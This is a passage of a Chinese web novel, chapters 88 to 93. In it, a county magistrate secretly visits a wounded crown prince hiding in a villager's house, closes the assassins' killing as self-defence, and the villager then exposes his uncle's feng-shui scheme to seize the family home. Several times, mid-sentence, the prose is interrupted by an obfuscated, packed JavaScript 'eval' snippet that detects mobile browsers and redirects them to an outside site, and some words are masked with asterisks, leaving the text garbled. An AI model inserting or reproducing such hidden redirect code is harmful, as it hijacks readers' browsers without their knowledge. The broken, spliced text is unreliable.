“记住，我在这里的事你和知县知道即可，不要告诉别人。” 听到赵文盛要用信鸽，李乐山不敢怠慢，点点头后，起身向屋外走去。 杨云坐在门槛上，正和程守信有一搭没一搭地聊着闲天，见到李乐山出来，连忙凑过去问： “李大哥，你和赵兄在里面都聊什么啊？” “赵兄？” 李乐山看着杨云，又想起赵文盛称呼杨云为兄弟，脸上满是古怪之色，这小子竟跟屋里那位称兄道弟，这福分实在是太大！ 杨云不明白李乐山这么看着他干什么，伸手在李乐山眼前晃晃，“李大哥，你想什么呢？” 见到面前晃动的手，李乐山才回过神来，笑呵呵地说： “杨老弟，你们的事太复杂，我得回去找知县大人禀告，请他亲自决断。” “但你放心，你们应该没什么大事，把心放在肚子里，该吃吃该喝喝！” 这三个**明显是冲着屋里那位来的，杨云和程守信**不仅没罪，反而有功！ 李乐山提前给两人透底，是想和他们打好关系，日后也有个香火情分。 毕竟能抱上那位，日后想不飞黄腾都难。 匆匆跟杨云说几句话，李乐山吩咐其他衙役看好现场，不要让闲杂人等进去。 他在村里借条头驴，用最快速度赶回去。 不到半个时辰，两匹快马带着一路烟尘冲进青山村，其中一匹竟是极少骑马的知县大人！ 被颠得脸色发白的知县，没有片刻休息，指着杨云家的大门说： “是这里吗？” 第88章 赵文盛的身份 第八十八章赵文盛的身份 围在门口的村民见到知县来了，赶紧下跪见礼，连族老杨四德也不例外。 知县石任远连额头上的汗都没有时间擦，冲着四周的村民作个罗圈揖，大声地说： “各位乡亲不必多礼，都快起来吧！本官先办公事，再与众位乡亲叙话。” 石任远的官声很好，一直被百姓誉为青天。 他知道院中的赵文盛身份不同凡响，却仍旧还礼后，才迈步向院中走去。 族老杨四德慢慢从地上爬起来，笑呵呵地对石任远说：“大人一路颠簸劳累，要不要先准备些酒饭，大人用过之后再办公事？” 眼看天近中午，石任远又是快马加鞭赶来，肯定又累又饿，这时候拍他马屁最有效果。 若能趁机抱上知县的大腿，族老家的日子肯定会越来越好，甚至能把生意做到县里。 没想到石任远扭头看一眼杨四德，面无表情地说：“为官当以公事为重，酒饭免了吧。” 放在平时，这顿饭吃也无妨，毕竟尸体，嫌犯，证据一应俱全，不急在一时。 但现下那位在里面，他不敢让那位等。 杨四德吃一记冷眼，脸上却没有丝毫不悦，十分殷勤地推开杨家大门，“大人，您要看的**现场在里面，我带您过去。” 石任远左手微举，正好拦在杨四德身前，假笑着对他说：“族老，三条人命事关重大，与此案无关的人还是别进去为好，您在外面等我即可。” 在来的路上，李乐山和石任远说过，赵文盛嘱咐低调行事，不能泄露他的身份。 既然赵文盛开口，石任远自然要按他的吩咐办事，把一切无关人员都拦下来。 杨四德见到石任远脸上假到极点的笑容，心中有些苦涩，却不敢发作，只能赔着笑点头，在下人的搀扶下推到门口站着。 见到杨族老退下，石任远和李乐山走进院中，用力关上大门，将院内院外隔成两方天地。 外面的村民直到这时候才敢爬起来，围在族老身边议论纷纷， “族老，这知县太不近人情吧？你好意陪着他，他还不领情！” “咱们的知县真不愧是青天，一听有命案，竟连轿子都不坐，骑马赶来。” “我看杨云这次惨了，连知县老爷都亲自来了，最轻也得判个充军。” 杨云家突然盖起三间瓦房，村里有很多人眼红，现下他摊上**案，自然有人幸灾乐祸。 姜梅听到周围村民的议论，眼睛一翻，昏过去。 丈夫杨玉明新丧不久，儿子要是再被拉去充军，她的日子一点活头都没了。 站在旁边的胖婶连忙拉住姜梅，口中大声喊道：“梅子昏过去了，快来人救救她啊！” 族老杨四德刚在知县那里被冷脸对待，正窝着一肚子火，听到村民的议论，抬头扫视一圈，冷声问道： “都给我闭嘴！你们是院里那三个**的孝子贤孙，这么盼着杨云不得好？” “再怎么说，杨云是咱们村的人，你们要分清里外！” “那个谁，你掐姜梅的人中，一会缓过来了。” 在族老的训斥下，四周的议论声果然小很多，胖婶也掐人中把姜梅掐醒。 姜梅长长地啊一声，尾音听起来有些凄厉，四周的村民都听得身上起鸡皮疙瘩。 等到她回过神来，马上踉踉跄跄地往家门方向走，口中还大声地说：“知县大人，我们家云儿是冤枉的……你不能抓他去充军……” 听到姜梅的叫喊，杨四德连忙指挥身边的人，“快，快把她拦下！绝不能让他惊扰知县大人办案！” 本来知县对杨四德的态度不冷不热，要是再让姜梅惊上一下，怕是要彻底厌恶青山村。 姜梅被几个人七手八脚地按住，架到旁边的树下冷静冷静。 院子里的知县听到外面吵嚷，他却没有关心，只是深深地看一眼紧闭的堂屋大门。 据李乐山所言，他们一直在苦苦寻找的那位，在这里面。 石任远深吸 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15478737|169871||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一口气，克制住立刻进去拜见的冲动，转头看向杨云和程守信，眼中有一抹嫉妒和艳羡闪过。 这两人救那位，日后飞黄腾达定然不在话下，可惜他没有这个运气。 知县示意李捕头把尸体脸上的白布揭开，见到果然是北夷长相，他轻声问道：“是你们两个杀的这三个人？” 程守信见到知县都来了，觉得事情有些不对劲，主动坦承，“大人，这三人都是我杀的，跟杨云没有关系。” 如果真要抓，那只抓一个人好了，用不着两个人都进去受罪。 没想到杨云却不是那种不讲义气的人，他看出程守信的心思，风轻云淡地说：“人确实是程叔杀的，但我也帮不少忙，墙边的钉板是我布置的。” 听完两人的招供，石任远不置可否，缓缓起身向堂屋走去， “此案事关重大，我得到屋里好好想想，李捕头，你在门外守好，不管是谁，都不准打扰本官！” 李乐山知道石任远是在为拜见赵文盛找借口，沉声应是后，手握刀柄，站在门口。 看着石知县走进堂屋，杨云看着煞有介事的李乐山，轻声问程守信，“程叔，你说赵文盛到底是什么人？” 赵文盛的身份不一般，杨云在救他之前已看出来。 只是以他的见识和眼力，也看不出赵文盛到底是什么人。 最重要的是，杨云还感觉见过这个人，具体在哪见过却记不起来。 程守信打仗**一把好手，但这种谜题他根本不知道怎么解，纠结半天说： “我看他不是一般的商人，多半有爵位在身，知县才会对他那么客气。” 杨云皱眉想想，他认识的公侯世子中，没有这么一号人物。 朝中大员的公子好像也没有他，难道只是一个爵位很低的小人物？ 在杨云冥思苦想的时候，关好房门的石任远看到床上躺着的人，连忙小跑着凑到跟前，撩起官服前摆立刻跪下去，口中小声说：“东平知县石任远，拜见太子殿下！” 第89章 疑云 第八十九章疑云 赵文盛定定地看石任远一会，目光微微闪动，不知道在想什么。 直到十几个呼吸后，赵文盛才缓缓地开口，“石知县，你可知罪？” 原本跪在地上的石任远，听到赵文盛的话，头压得更低，言语中带着一丝苦涩说：“微臣治理地方不力，有负朝廷圣恩，请殿下降罪。” 太子在东平县被人刺杀，石任远治理不严的罪名是逃不过的。 尽管他平日里非常清廉，处事也非常公正，但遇到这种事，根本无法辩驳。 他总不能说，这事跟他没关系，是太子点背。 见到石任远承认有罪，赵文盛的脸色冷下来，轻哼一声说：“以你之罪，罢官去职，流放千里也不为过！” 当朝太子在石任远管辖的县城，被北夷刺客暗杀，这种事传出去，足以震动天下。 这也是赵文盛运气好，没有死在北夷刺客手里。 若他真被北夷刺客所杀，将尸体带回北夷，大盛朝永远都得被北夷人羞辱。 至于石任远，定然会被当今天子和满朝文武当作出气筒，就地正法甚至满门抄斩。 赵文盛让他罢官去职，流放千里，已经是心存仁厚。 石任远脸上带着苦笑，冲着赵文盛磕三个响头，把官帽摘下来放在一边，“多谢太子殿下隆恩。” 赵文盛看一眼跪在地上没动的石任远，心中的气消下不少，冷声说： “先把帽子捡起来吧！本宫还不想让人知道，我藏身在这里。” 石任远面上一喜，知道这是太子殿下有意让他戴罪立功，连忙说： “殿下，我们东平县的驿馆虽然不大，但也算干净，不如殿下移驾驿馆，微臣请全县最有名的大夫，为殿下治疗伤势，调养身体？” 看赵文盛的脸色已知道，他受伤一定不轻，县城有最好的大夫和药材，能让太子恢复得更快，也算是石任远将功折罪。 没想到赵文盛长长地叹气，没有接石任远的话，而是问道：“你是什么时候知道本宫出事的？是谁下令让你们寻访我的下落？” 刚才在外面被村民簇拥的石任远，完全没有任何架子，恭恭敬敬地回答， “微臣三天前接到内阁密令，太子微服出巡被人刺杀，着令秘密查访殿下消息。” “现下见到殿下性命无忧，实乃大盛之幸，天下之幸！” 太子**是震动朝野的大事，必须先把事情查实，再决定下一步该怎么做。 若匆忙决定，反而会牵出更多的麻烦事，让局面变成一团乱麻。 听到是内阁下令，赵文盛的眉头紧紧皱起，口中喃喃自语， “内阁三位阁老，平素与我们三个都保持着距离，他们这次下令到底是为朝中大局，还是想为其他两人遮掩，收尾？” 赵文盛身居太子之位，六皇子和八皇子一直都对他的位置虎视眈眈，平日里给他下不少绊子，甚至有几次想要置他于死地。 这次北夷人行刺的事，赵文盛怀疑是两位好弟弟，把他的行踪泄露出去。 不然以北夷的暗谍能力，不可能知道太子出行的具体路线和身边护卫的数量。 原本赵文盛想通过密令来源，追查泄露消息的人，没想到老六老八都没动，反而是内阁下令，这让他的计划彻底落空。 跪在床边的石任远双目低垂，死死地盯着地面，好像没有听到任何声音。 有些事，不是他这个职位能听的，知道得越多，下场越惨。 思考半天，赵文盛才想起旁边还跪着一个人，轻描淡写地说： “驿站本宫不去了，在这里养伤挺好。你当此行纯粹是为查案而来，从没见过本宫。” 石任远明白，太子这是不想暴露身份，要是回到驿站，人多眼杂，说不定走漏消息后，会有**再次前来行刺。 毕竟到目前为止，太子**的案子是迷雾重重，疑点颇多。 将这些不该想的东西都压在心里， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15478738|169871||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 石任远想到院中的两人，小心地问道： “殿下，外面那两人该如何处置？是要重赏还是回去走个过场放出来？” 杨云和程守信为保护太子，格杀三名北夷刺客，立下大功，按理来书应该重赏。 只是太子不想暴露身份，他们两人的赏赐也得往后推。 赵文盛闭目沉思片刻，淡淡地吩咐道：“他们两人还不知道我的身份，你简单问一下，定个灭盗无罪即可。” 石任远了然，再次叩头向赵文盛行礼，捡起地上的官帽重新戴好，拍拍膝盖上的土，小心翼翼地拉开房门。 眼看知县出来，院中三人的目光全都落到他身上。 刚才在里面谨小慎微的石任远，又恢复镇定自若的样子，走到杨云和程守信面前，和蔼地问道： “你们两人是发现这三人持刀闯入院中，才将他们杀掉的？” 既然太子让走个过场，随便问问即可，用不着太在意细节。 程守信刚想开口，杨云就主动点头说：“大人明鉴，我们确实是发现这三人深夜闯入我家，意图不轨，不得已之下才杀掉他们。” 杨云已经看出，赵文盛应该已经打通知县的关节，准备给他们无罪开释。 果不其然，石任远对杨云的回答很满意，假装思索片刻后说： “既然是他们持刀闯入民宅，那是他们咎由自取，你们二人用不着承担任何责任。” 程守信和杨云对视一眼，从彼此眼中看到喜色。 原本以为怎么样都要去县衙过堂，现下听石知县的意思，连过堂都省了。 李乐山眼中精光一闪，知道肯定是堂屋里的人为这两人说情，他在心中默默下决定，以后一定要跟杨云这个异父异母的亲兄弟，好好相处。 杨云冲着石知县微微拱手，热情地说：“知县大人果然明察秋毫！” 他凑到石知县的身边，小声地问道：“大人，您跟老赵都说什么？能不能给我透露点风声？” 第90章 结案 第九十章结案 杨云对赵文盛的身份很好奇，现下见到知县的反应更加按捺不住，仗着之前两人有过接触，想从石任远这里打听些消息。 “老赵？” 石知县愣一下，根本没有反应过来，杨云说的老赵到底是谁。 杨云冲着堂屋的方向努努嘴，嬉笑着说：“大人您在里面问那么长时间，不可能一点消息都没问出来吧？给我说说。” 听到杨云称呼太子为老赵，石任远忍不住笑出声来，太子果然没给杨云透露**。 他上下打量杨云一眼，神神秘秘地拍着他的肩膀说： “杨贤侄，该你知道的事，到时候你会知道的。放心，这件事对你有百利无一害。” 杨云又追问几句，却被石任远搪塞过去，只能无奈地放弃打听。 见到知县和杨云说完话，李乐山看一眼地上的尸体问： “大人，这三具尸体怎么处置？是不是拖到村外，一把火烧掉？” 原本凶案的尸体应该送到义庄，等结案后交给家属处理。 如果没有处理，由县衙出钱，拉到县城外的乱葬岗埋掉。 但这三人是北夷人，大盛人对北夷想来没有好感，李乐山又知道他们是为刺杀太子而来，自然不想走流程，干脆烧掉省事。 没想到石知县轻轻地摇摇头，看着地上的尸体沉声说： “将尸体拉回县城，装入棺材，用冰块保存后，快马送到京城，交给刑部的各位大人。” 太子**一案扑朔迷离，这三具尸体是重要的证据，要是按照李乐山的处理办法，石任远得背上一个毁尸灭迹的罪名。 只有送到京城，交由刑部等衙门处置，石任远才能玩群把刺客同谋的罪名洗清。 见到石任远要把这些尸体运往京城，杨云和程守信不如何惊讶。 北夷**出现在东平县，本身不是一件小事，上报京城也很正常。 李乐山出门让族老杨四德找一辆驴车，又拿三领破草席，将北夷**的尸体卷起，扔在驴车上。 石任远看李乐山把事情做得差不多，才起身客气地对杨云和程守信说： “本官还有事要忙，不在此多留了，二位，有空到县城里找我喝茶。告辞。” 杨云家的大门因为搬运尸体，早已大开，杨四德和围观的村民都看到，知县大人和杨云程守信和颜悦色地说话，甚至还请他们两人去喝茶！ 虽然不知道知县的态度为什么会变得这么快，但杨四德清楚，这件事应该到此为止。 跟两人告完别，石知县走到杨家大门口，冲着周围的村民大声宣布， “各位乡亲，经本县仔细调查，死掉的这三人是惯于入宅劫财的江洋大盗，杨云和程守信迫于无奈，杀死三人，乃灭盗，无罪！” 石知县说话的声音很大，不仅是让四周的乡亲都听到，更让屋里的人也听到。 村民们听到石知县的话，觉得他的态度转变太快，不由心中犯起嘀咕。 等宣布完，石任远笑呵呵地冲着杨云拱拱手，转身和李乐山骑上马，慢慢悠悠地领着衙役们和驴车，回县城去。 尽管尸体搬走，但院中的血迹还在，提醒着所有人，这里发生过一次命案。 村民们看向杨云的目光中，闪动着疑惑不解，“他们两个是杀两个人的，知县竟连带他们回去过堂都免了？” “我看，应该是杨云使银子，不然知县变脸怎么那么快？” “不会吧？我听说，咱们县的知县是有口皆碑的好官。” “这天下哪有不偷腥的猫？你听到的那些，不足为信。” 村民们议论纷纷，唯有族老杨思的目光变了变，笑呵呵地走入院中，对杨云程守信说： “我知道你们两个一定会被判为无罪，现下看来，老夫所料不错！” 杨四德不知道杨云和程守信使什么手段，但他知道，既然连知县都被打通，那他也得交好这两人。 见到杨四德慈祥和爱的样子，杨云看一眼围在门口 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15483205|169871||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的村民，轻声对杨四德说： “族老，既然案子已结，你看这人是不是可以散了？” 杨云早习惯这种被人围观注视的感觉，但屋里还躺着一位，这么多人聚在一起，要是有人看到他，不好。 杨四德转头盯着门口看热闹的人，沉着脸说：“都聚在这里干什么？去去去，该干什么干什么去！” 尸体被搬走，族老又发话，青山村的村民悻悻散去，门口很快清净。 等人都走得差不多，杨云冲着族老拱拱手说：“多谢族老，正好到午饭时间，您老今天中午别走了，在我们家将就一顿吧？” 杨四德看看连火都没有生的灶，知道杨云明面上留他吃饭，实际上是在下逐客令。 他只能拄着拐杖，笑呵呵地摇摇头， “不用，家里已经给我做好饭，你们慢慢吃，我先回去了。” 送走族老，姜梅上前抓住杨云的手，眼眶中满是泪水， “云儿，吓死娘了，我还以为你真要被衙门抓走。” 杨云轻声安抚母亲几句，姜梅的情绪才算稳定下来。 程守信看到母子二人说话，把胖婶叫过去，扶着他回家。 腿上的伤势虽然没有伤到骨头，但至少要养一两个月才能正常走路。 幸好现下刚入冬，程守信有足够时间养伤。 所有外人都离开后，姜梅看着西屋破掉的窗户，心疼地说： “刚修好的房子，被打成这样……云儿，你今天搬到东屋去睡吧。西屋窗户被打成这样，得找人补好才能住人。” 杨云摸摸肚子，笑着对姜梅说： “娘，我肚子饿，你先给我做点吃的吧。” 从早上，杨云什么东西都没吃，他还能撑得住，屋里的赵文盛不能不吃。 姜梅应一声，赶快去厨房生火做饭，杨云把墙边的钉板收拾好，找出木锹，想把院里染血的地方都铲出去。 在杨云准备动手的时候，院子里响起重重的拍门声！ 第91章 你家有灾 第九十一章你家有灾 杨云眉头皱起，疑惑地看向院门方向。 知县和捕头走了，族老和村民也走了，甚至连尸体都拉走，现下赶来看热闹太迟。 但就算是看热闹的人，也不敢这么用力地拍门，要知道杨云手上有三条人命！ 厨房里正在做饭的姜梅，一脸担忧地跑出来，不知道这次来的又是什么人。 杨云冲着母亲笑一下，让她不要担心，右手倒提着木锹向门口走去。 吱呀一声，木板钉成的大门缓缓打开，杨云的四叔杨玉竹，歪着脑袋问： “开门怎么这么慢？不知道的，还以为你在家里干什么见不得人的事呢。” 这话明显是在影射，死在杨云家中的三个人。 杨云懒得跟杨玉竹解释，面无表情地看着他说：“对，方才又杀三个，你要不要过来给我帮个忙，或者跟他们躺在一起？” 原本杨云对这个四叔没什么好感，现下见到他更心生厌烦和鄙夷。 杨玉竹身子明显抖一下。 他瞄一眼院子，见到没有尸体，立刻知道杨云是在吓唬他，不由得又羞又恼地指着他说： “你这个做侄儿的，是这么跟自家叔叔说话的吗？真是一点家教都没有！” 杨云将手中木锹重重插在地上，发出一声闷响，冷冷地看着杨玉竹问：“你是想让我把你和那三个死鬼埋在一起？” 看着杨云冰冷的眼神，杨玉竹忍不住心虚，一双贼眼乱瞟，终于瞧见厨房门口的姜梅。 他的眼中露出笑容，冲着姜梅嚷嚷道： “姜氏，你平时在家里是怎么教孩子的？把孩子教成**嫌犯，你对得起三哥的在天之灵，对得起杨家的列祖列宗吗？” 杨家的人虽各有心思，但大致还守着诗书传家的祖训，彼此勾心斗角是放在暗中，表面上还是很和气。 连几次三番害杨云的杨玉昭，最狠的手段也只是栽赃陷害。 没想到，杨云却沾上命案，还是三条，可以说是杨家三代之中，最凶之人。 听到杨玉竹的厉声呵斥，姜梅涨红脸，羞愧难当地低下头，“四叔你说得对，是我没有把小云教好，让他有损杨家的清誉。” 看到姜梅认错，杨玉竹的腰杆立刻挺起来，大摇大摆地走到她的身前说： “你知道错就好！但，这件事也不能全怪你，你一个人带着杨云，确实不容易。” 旁边的杨云忍不住眉头微皱，他竟向着母亲说话，肯定有所图谋！ 姜梅眼中闪动着眼光，冲着杨玉竹勉强挤出一丝苦笑，“多谢四叔体谅，你还没吃饭吧？先坐，饭一会儿好了。” 没想到杨玉竹漫不经心地摆摆手，冲着姜梅说： “我这次来，不是想在你们家蹭顿饭，是看在三哥的份上，想帮你们家度过这次劫难。” 杨云的眼神更加疑惑，杨玉竹虽然没有害过他，但通过之前的接触，也看出他是个无利不起早的性格，怎么可能会善心大发，突然来帮忙？ 姜梅听到杨玉竹的话也愣住，有些紧张地看着他问道：“劫难？四叔，我们家要遭什么劫难？” 自家里死三个人，尸体才刚拉走，姜梅对劫难这种字眼分外敏感。 杨玉竹看看地上和墙上的血迹，重重地叹气说： “嫂子，你还记不记得，暖房那天我和你说的话？” 姜梅的眼中闪过一丝茫然，那天她太忙，来的人也多，她不记得杨玉竹说过些什么。 一直没有说话的杨云，嘴角却微微翘起，他终于明白，杨玉竹来干什么。 只听杨玉竹冲着姜梅神神秘秘地说： “我那天跟你说过，这房子太大，带着一股阴劲。你们两个人压不住这股劲，时间一长，必然要倒霉遭灾。” 其实那天杨玉竹只是信口胡诌，想要吓唬住姜梅，叫她把房子让出来，让自家 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15483206|169871||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 儿子正泰，正兴搬进去，方便日后侵占这三间瓦房，只是没想到被杨云搅和。 今天他听到杨云家出事，还是三条人命的大事，杨玉竹立刻感觉他的机会来了，准备利用这次的事，再试一次。 经过杨玉竹提醒后，姜梅也想起来，他那天确实说过这样的话，连忙问： “四叔，那你说，这场灾劫该怎么才能化解？出多少钱我都愿意！” 目前日子越过越好，姜梅当然不愿意，儿子跟着她继续受苦。 眼见姜梅被他的大话吓住，杨玉竹的眼中闪过一丝不易察觉的得意，故作为难地说： “嫂子，不是我不帮你，只是这种事，就算有钱，也不好办。” 姜梅不由得更加紧张，手指死死地捏着门框，不假思索地问：“怎么不好办？四叔，你一定要给我想想办法！” 杨玉竹摇着头叹气，脸上满是忧色， “你们家这房子，原来是一股阴劲，但死这三个人后，这股阴劲受他们的怨气影响，已经变成煞气，只有纯阳之体才能镇住这股阴煞！” 姜梅眼中闪过一丝茫然，看着杨玉竹皱眉问道：“什么是纯阳之体？” 早看出杨玉竹意图的杨云，在一边冷笑着搭腔，“是没有成亲的童男子呗！” 别看杨玉竹说得像模像样，其实最终目的还是让正泰、正兴搬进来，占他们家的房子。 他们两个都没成亲，完全符合杨玉竹对纯阳之体的描述。 杨玉竹警惕地看他一眼，接着对姜梅说：“你想想，谁家的儿子不是像宝贝一样金贵，谁舍得把自家的儿子，拿出来为你挡煞？” “要知道这件事凶险得很，轻则倒霉一辈子，重则没命。” 姜梅的身子摇摇晃晃，全靠门框的支撑，才没有软倒在地，她苦着脸说：“就是，谁会让自家的儿子，做这种事呢？” “老天，难道你看不得我们母子过上好日子吗？” 第92章 点破 第九十二章点破 从领着杨云回到村里，各种各样的风波没有停过，两人好不容易安稳一段时间，家里又死三个人，这让她有点撑不住。 看到姜梅难过的样子，杨玉竹心中得意，嘴上却说：“嫂子，你先不要着急，这事也不是没有解决的办法。” 听到杨玉竹有主意，姜梅抬起头，眼睛一眨不眨地看着他问：“四叔，你有什么办法？” 杨玉竹沉吟半晌，才装出一副挣扎，犹豫的神色说：“咱们是一家人，三哥去得早，我这个做弟弟的，不能对你们家的灾劫坐视不理。” “正泰和正兴……都是纯阳之体，要是他们两个搬过来，应该能镇住这股煞气。” “但他们两个是我的儿子啊……万一要是有个三长两短……” 说到这里，杨玉竹闭上眼睛，一副悲痛难当的样子，好像他两个儿子真死掉一样。 姜梅低着头寻思片刻，咬着牙对杨玉竹说：“先让他们过来住几天试试……要是镇得住，住下！要是镇不住……就算我们家命不好。” 杨玉竹听到姜梅的话，心中暗喜，但脸上的神色却很黯然，口中轻声说： “要是正泰，正兴搬来挡煞，身体肯定会越来越差……” 姜梅稍微想一下才明白，杨玉竹这是暗示她要出钱， “四叔，你看每个月给他们两个一两银子，滋补身体怎么样？” 杨玉竹心里乐得都要开花，不仅能住姜梅的房子，每个月还能从她这里白得二两银子，虽然钱不算多，但喝几顿小酒足够。 在旁边看戏的杨云终于忍不住，走到厨房门口，大声对她说： “娘，这么重要的事，怎么能让我的堂弟们做？咱们去县城里看看，说不定有别人家的纯阳之体，愿意做这种事。” “要是找不到，咱们多给点银子，左右是银子的事。不能为一点银子，让咱们杨家的血脉受损。四叔，你说是吧！” 眼看事情要成，杨云又跳出来搅局，杨玉竹恨他恨得牙根痒痒，却偏偏什么都不能说。 毕竟杨云是从杨家血脉的角度出发，就算是杨玉竹也没办法反驳。 沉思片刻，杨玉竹的目光闪烁，有些不确定地问： “你觉得雇来的人能靠得住吗？你别引狼**，让你们家遭更大的灾。” 姜梅一听更大的灾，双腿都有些发软，比三条人命更大的灾，她想都不敢想。 顶着杨玉竹逼视的目光，杨云毫无畏惧，风轻云淡地说： “先去看看再说，实在请不到可靠的，再找两位堂弟帮忙不迟。” 听杨云把话说到这个地步，杨玉竹也不好继续坚持，只能说： “你的话也有道理，等吃完饭以后，咱们再仔细商议一下。” 他的谋算没成，在这里蹭一顿饭是好的。 没想到杨云一点面子都不给，皮笑肉不笑地对杨玉竹说： “四叔，真是不好意思，我娘今天中午只做两个人的饭，家里的米面恰好都没了，不能留你吃饭呢。” 这话一听是借口，杨云根本没有留杨玉竹吃饭的意思。 杨玉竹自然听出来杨云的弦外之音，他这么大的人，也不好厚着脸皮，跟这娘俩抢饭吃，只能干笑着说： “没事，我本来也没有打算在这里吃，家里都已经给我做好了。” “嫂子，我先回去，你要是再遇到什么不对劲的事，尽管跟我说就行。” 姜梅从厨房出来，将杨玉竹送出大门，直到他的背影彻底消失不见，才回来。 院中只剩下母子两人，姜梅眼中带着几分嗔怪和疑惑问： “云儿，咱们家还有米面，你怎么不留你四叔吃饭？他是要帮咱们大忙啊！” 把赵文盛救回来后，杨云特意去买过一次米面，是怕三个人不够吃。 姜梅对这件事心知肚明，但她搞不清楚儿子要干什么，方才也没有揭穿他的谎话。 “帮忙？你是说让正泰正兴住进来，挡煞的事？”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15483207|169871||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>杨云鼻中轻哼一声，眼中满是不屑，显然对所谓的煞气不屑一顾， “娘，你没看出来，什么阴劲什么煞气，都是四叔编出来骗你的！他是想让正泰和正兴占下咱们家的房子。” 方才杨云已看出杨玉竹是在蒙人，只是当时姜梅已经完全被他唬住，要是杨云赶人，第一个不答应的是姜梅。 杨云一直忍到杨玉竹胡说八道完，让他以为阴谋得逞，才开口赶人。 其实这种事在青山村和四周的村子里屡见不鲜，只是姜梅关心则乱，才被唬住。 姜梅犹豫一会，期期艾艾地说：“不会吧？你四叔说得有模有样的，再说，要不是咱家风水不好，怎么会有那么多事？” 看着母亲将信将疑的样子，杨云回到厨房，往灶膛里加几根柴火，不紧不慢地说： “咱家没盖房之前事也不少，那时候怎么不见四叔来跟你说什么阴劲？” “何况遇到的这些事，咱们不是全都解决了吗？也没见什么阴劲煞气作怪。” 姜梅仔细想想，事情确实跟杨云说得一样。 杨玉昭想方设法刁难杨云，被圈禁在家里读书，不考中秀才不许出门。 盖房时故意找茬的杨元贞，被杨云请回来的捕头吓破胆，都不敢回村。 还有死掉的三个人，虽然听起来可怕，但不管是知县还是捕头，都没把杨云抓走，甚至还对他客客气气的。 如果真有煞气作祟，这几关不可能这么好过，家里的日子不可能越来越好。 想明白这一点，姜梅长舒一口气，一边小声数落着杨玉竹的蒙骗之举，一边回厨房做饭。 杨云则把院里带血的土都铲起来，倒在外面的深沟之中。 “云儿，快洗洗手吃饭吧！” 等杨云把院子里的土处理完，姜梅也把饭做好。 两碗热气腾腾的面条，上面浇着西红柿鸡蛋卤，她笑呵呵地递给杨云一碗， “你吃这一碗，我把这碗给赵老板送去。” 第93章 飞鸽传书 第九十三章飞鸽传书 从昨天晚上到现下，赵文盛和杨云一样，什么东西都没吃，肯定饿得不得了。 杨云将两碗面全端在手里，冲着母亲说： “娘，我去送就行，你去吃饭吧。” 姜梅看看杨云，没有跟他争抢，笑着点点头，回厨房端出她的面条。 杨云端着两碗面进堂屋，乐呵呵地对赵文盛说： “赵老板，你饿坏了吧？尝尝我娘做的面条，味道……这只鸽子是从哪来的？” 一只洁白如雪，体型健壮的鸽子，安安稳稳地站在赵文盛床边，不时发出低沉的咕咕声。 不等赵文盛说话，杨云将面条放下，轻手轻脚地关上房门，盯着鸽子笑着说： “天堂有路你不走，地狱无门自来投。既然你飞进房里，那别怪我抓你打牙祭。” 之前在天应侯府的时候，提笼架鸟，飞鹰走狗的事，杨云没少干。 他蹑手蹑脚地靠近鸽子，双手猛然向前一抓，把鸽子抓在手里。 杨云捧着鸽子，左瞧右看，有些疑惑地说：“这鸽子怎么好像不怕人？我抓到手里它都不挣扎。” 赵文盛笑着咳几声，淡淡地对杨云说：“因为这是我和石知县借的飞鸽，你抓它，它当然不会挣扎。” 